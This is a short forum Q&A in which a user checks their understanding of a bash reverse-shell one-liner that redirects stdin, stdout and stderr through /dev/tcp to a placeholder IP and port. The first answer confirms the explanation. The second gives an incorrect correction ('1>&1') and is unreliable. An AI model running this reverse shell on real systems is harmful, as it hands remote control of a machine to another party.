Testing Bash Reverse Shell

Question

I am testing a reverse shell using the tutorial found here .

I have some question about the meaning of the commands used. The command to run on the server is the following:

/bin/bash > /dev/tcp/<IP>/<port> 0<&1 2>&1

I want to double check its meaning. Based on my understanding:

• Start a bash shell
• Redirect output of the shell to TCP connection <IP>:<port>
• 0<&1 : Redirect Input from connection &1 to stdin 0
• 2>&1 : Redirect output from stderr 2 to connection &1

Is the above correct ?

Answer 1

Yes, it's correct; the goal is for all three FDs -- stdin, stdout, and stderr -- to be pointing to your TCP connection.

Note that this command needs to be run in a bash compiled with /dev/tcp , which is an optional feature provided by the shell itself, not the operating system; moreover, this means that something like system() , which uses /bin/sh , typically won't work to invoke it.

Answer 2

For STDOUT, use 1>&1 , because 2 will redirect STDERR stream.

So your command should be - /bin/bash > /dev/tcp/<IP>/<port> 0<&1 1>&1